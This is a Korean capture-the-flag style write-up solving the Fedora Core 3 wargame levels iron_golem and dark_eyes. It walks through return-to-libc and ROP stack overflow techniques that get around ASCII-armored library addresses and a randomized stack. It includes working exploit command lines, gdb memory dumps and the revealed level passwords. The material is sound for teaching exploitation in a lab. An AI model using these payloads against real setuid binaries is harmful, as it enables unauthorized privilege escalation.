FC3 gate - iron\_golem - dark\_eyes
FC3에 적용된 메모리 보호 기법
- Stack Dummy : O
- Down Privileage of bash : O
- Random Stack : O
- Random Library : X
- Random Program Binary Mapped : X
- ASCII Armored Address Space : O mapping address의 첫번째 1Byte가 0x00이라서 library address를 입력하고 나면 이후 parameter 삽입이 불가능하다. phrack의 어떤 문서에서 이렇게 소개되어 ASCII Armor라고 부르는 것 같지만, 요즘 ASCII Armor는 Radix 64를 의미하는 경우가 더 많은 듯.
- Non-Executable Stack : O
- Non-Executable Heap : O
- Stack Smashing Protector : X (canary) Random Stack이 들어가서 환경변수, 버퍼 등을 사용하기가 곤란하다. RTL 위주로 접근해야 한다.
library 주소는 ASLR이 안들어가 있으니 RTL로 풀면 되겠다.
근데 library들의 첫번째 1byte가 0x00이라 ret 이후 공간에 함수에서 사용할 파라미터를 삽입할 수 없다.
그래서그냥 메모리 공간에 존재하는 값을 파라미터로 사용해야 한다.
메모리 공간에 /bin/my-pass라던지, /bin/sh가 존재할 리가 없으니 메모리에 존재하는 적당한 값대로 심볼릭 링크를 사용해 같은 폴더 내에 링크를 만들어야 한다. gdb find가 안되길래 메모리에 존재하는 적당한 값을 찾기 위해서 코딩했다.
2017/03/08 - [System/LINUX & UNIX] - procfs를 활용한 메모리에서 특정 값들의 주소 찾기
그리고 나서메모리에서 찾은 적당한 값이 함수가 파라미터를 가져올 때 참조하는 위치가 되도록 조작하면 된다.
#1 특정 주소를 바로 지정하는 방법은 sfp 조작이 있겠다.
#2 또는 적당한 값이 현재 esp 근처에 있을 경우 ROP를 이용해 지정할 수도 있다.
스택에 ASLR이 걸려있어 stack의 직접적인 주소를 사용하지는 못하지만, 현재 위치 기준 상대적인 주소로는 사용할 수 있다.
파라미터를 ebp 기준으로 가져오는 함수라면 프롤로그를 건너 뛰고, esp 기준으로 가져오는 함수라면 프롤로그를 진행하면 될 것이다.
sfp를 라이브러리로 돌려버리면, 라이브러리에 0x00이 있어서 ret 삽입이 안되므로 사용할 수 있는 주소공간은 실행 파일의 code segment다.
그런데 문제가 있다. 원본 파일은 gdb가 안먹힌다고 가정하고 tttt_ttttt같은 식으로 원본 파일과 비슷한 실행 파일을 만들어서 동적으로 메모리에 어떤 값이 찍히는지 얻어내려고 했는데, tttt_ttttt.c에 dumpcode.h나, search.h같은 추가적인 코드를 추가하는 순간 code segment에 있는 값들의 위치가 변경되어 이를 iron_golem 파일에 적용할 수 없게 된다.
stack이나, library는 같은 곳에 매핑되니까 보통 이런 방식을 사용해도 해결 가능한데 stack은 ASLR 들어가있고 library는 0x00이 맨앞에 있어 sfp로는 삽입할 수 없으니, code segment밖에 사용할 수 없다.
1
2
3
4
5
6
7
8
9
10
0x0804841c : 74 9b [ 04 08 ] 00 00 00 00
0x08048b34 : 42 83 [ 04 08 ] 00 00 00 00
0x08048b6c : a0 9a [ 04 08 ] 00 00 00 00
0x08048ba4 : da 84 [ 04 08 ] 00 00 00 00
0x0804941c : 74 9b [ 04 08 ] 00 00 00 00
0x08049b34 : 42 83 [ 04 08 ] 00 00 00 00
0x08049ba4 : da 84 [ 04 08 ] 00 00 00 00
0x08049bb0 : 98 9a [ 04 08 ] 00 00 00 00
code segment에 존재하는 모든 08 04… 00 00 00 00이다. 근데 코드를 바꾸면 이들의 위치도 변경된다.
그래서 이 문제는 문제 파일의 정적인 정보도 조사해야 해결할 수 있다. 동적인 부분만 생각해서 접근하면 위치가 틀어지게 된다. 그러니까 모든 파일에서 같은 곳에 매핑되는 곳을 찾는게 목적이 아니라, (library가 이런데, sfp로 사용 불가능하다.) 모든 파일에 존재하는 속성이지만 파일마다 기록된 정보를 바탕으로 다른 곳에 매핑되는 속성을 찾아야 한다. 비록 다른 곳에 매핑되지만 파일에 기록된 정보를 바탕으로 매핑하므로 매핑 주소를 알아낼 수 있다.
#1 .got.plt와 .dynamic section
.got.plt는 readelf를 사용하면 매핑되는 주소를 알 수 있고, 첫번째 entry에 항상 .dynamic section의 주소가 위치한다. 두번째 entry는 NULL pointer다. .dynamic section역시 readelf를 사용하면 주소를 알아낼 수 있으며 첫 번째 entry는 항상 \x01
이기 때문에 이를 이용해 파일 이름을 \x01
로 심볼릭 링크를 걸어 실행할 수 있다.
2016/12/09 - [System/LINUX & UNIX] - GOT( Global Offset Table ) Layout과 link_map structure
스택은 0x108만큼 확장했으니 264만큼 출력하면 거기서부터 ebp다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
execl+3 # stack :
(gdb) x/12x $ebp
0xfee6eab8:
0xfee6eae8
0x0804839c
0xfee6eae6
0x00000000
0xfee6eac8:
0xfee6eae8
0x080483c2
0x00000000
0x0083eff4
0xfee6ead8:
0x0804948c
0x0083eff4
0x00000000
0x00018c80
execl()+3
인 시점에 $ebp+8에 실행문자열의 주소가 있어야 한다.
| | | — | | b * 264 | | execl param1 string pointer | | execl param2-8
0x00000000** | ** |
0 x00000000의 포인터||
string pointer’s pointer ( .got.plt -8 ) | | execl + 3 ( 0x7a5723 ) | | … |
1
2
3
4
5
6
[gate@Fedora\_1stFloor ~]$ ./iron\_golem `python -c 'print "b"\*264+ \
"\x10\x96\x04\x08"+"\x23\x57\x7a"'`
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?#Wz
euid = 501
blood on the fedora
.got.plt 말고 사용할 수 있는 다른 영역이 있는지 찾아봤는데, 0x0804809c
를 비롯한 몇 개가 쓸만해 보였다.
1
2
3
4
5
6
08048000-08049000 r-xp 00000000 fd:00 424374 /home/gate/tttt\_ttttt
0x0804809c : 8c 9a [ 04 08 ] 8c 9a 04 08
0x080480bc : a0 9a [ 04 08 ] a0 9a 04 08
0x080480dc : 28 81 [ 04 08 ] 28 81 04 08
근데 이쪽으로 ebp를 돌리면 execl()
에서 진행하다가 execve()
로 안넘어가고 중간에 jmp
등을 타서 바로 ret
하게 되는 것 같다. 어디서 이상한 길로 빠지는지는 확인 안해봄. 0x0804809c
는 어느 프로세스든 동일한 위치에 나타나며 값으로 가지고 있는 08049a8c
는 .ctors의 주소다. ( .ctors의 주소는 프로세스마다 다르나 .ctors의 첫번째 entry는 0xffffffff
다. 그래서 상관없다. )
#2 ROP
누가 풀이해놓은거 보니 stack에도 파라미터로 사용할 수 있는 곳이 있었다.
1
2
3
4
5
6
7
8
9
10
11
(gdb) x/32x $ebp
0xfeff0e28: 0xfeff0e88 0x00730e33 0x00000002 0xfeff0eb4
0xfeff0e38: 0xfeff0ec0 0x0070eab6 0x0083eff4 0x00000000
↑execl 주소로. ↑ ret dummy.
(gdb) x/x 0x0083eff4
0x83eff4 <svcauthsw+712>: 0x0083ed3c // 00으로 끝나므로 문자열로 사용할 수 있다. 이걸로 link
execl의 파라미터는
string pointer와0x00000000 또는 0x00000000의 포인터 또는 실행문자열 주소 가 있는 주소
형식이면 사용 가능하므로, 위 주소를 사용할 수 있다.
stack에 ASLR이 걸려있기 때문에 당연히 0xfeff0e3c
로 리턴하는 등 직접적인 주소를 사용하는 방법은 실행할 때 마다 주소가 변경되어 통하지 않지만ROP같이 현재 위치를 기준 으로 몇 번 더 리턴하도록 해서 esp를 조작하는 것은 가능하다.
현재 위치 기준이니까 절대 주소를 변경하는 ASLR과는 상관 없이 가능하다.
code segment의 EIP와 stack segment의 ESP의 움직임이 약간 헷갈릴 수는 있는데, 그려보면 바로 이해된다.
1
2
3
4
5
6
7
8
80482d6: c3 ret
(gdb) print execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
근데 안되길래, 아니 왜 안되는지 디버깅해보니까
1
2
3
4
0xfef58f28: 0x62626262 0x080482d6 0x080482d6 0x080482d6
0xfef58f38: 0xfef58f00 0x0070eab6 0x0083eff4 0x00000000
0x7a5720
이 안들어간다.
생각해보니 0x20(\x20)
은 공백이라 큰따옴표로 한번 더 묶어줘야 한다.
1
2
3
4
5
6
[gate@Fedora\_1stFloor ~]$ ./iron\_golem "`python -c 'print "b"\*268+ \
"\xd6\x82\x04\x08"\*3+"\x20\x57\x7a"'`"
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Wz
euid = 501
blood on the fedora
다음 문제로 넘어가서 보니 이 문제가 위와 같은 방법으로 푸는 문제였다.
1
2
3
4
5
6
[iron\_golem@Fedora\_1stFloor ~]$ ./dark\_eyes "`python -c 'print "b"\*268+ \
"\xfe\x82\x04\x08"\*3+"\x20\x57\x7a"'`"
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb▒s▒▒▒▒▒ Wz
euid = 502
because of you